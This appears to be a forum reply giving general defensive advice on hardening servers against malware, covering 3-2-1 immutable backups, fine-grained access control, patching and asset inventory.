How can you harden your servers against malware and malicious software?
Immutable backups are table stakes these days to even get cyberinsurance. Typically in a backup situation we want to follow a 3-2-1 rule. This rule dictates that you maintain 3 copies of your data (One primary, two backups) across two different media (Could be seperate disk libraries, or disk and tape) and one of them should be offline or immutable to ensure it is not destroyed with the primary data by threat actors.

When implementing access control, be sure to consider the firewall setup above. It is generally not wise to expose anything directly to the internet that you cannot keep patched and up to date immediately. Access control should be as fine grained as you can make it, and you should certainly not use administrative accounts for everyday activity.

I think it's important to inventory what you have before you attempt to update or harden anything. Lists such as this often assume naively that you have a good handle on what you already have, but my experience is most brownfield organizations do not. Spend time to inventory both software and hardware assets, then make an appopriate patching and update schedule considering the availability and security requirements of the assets.
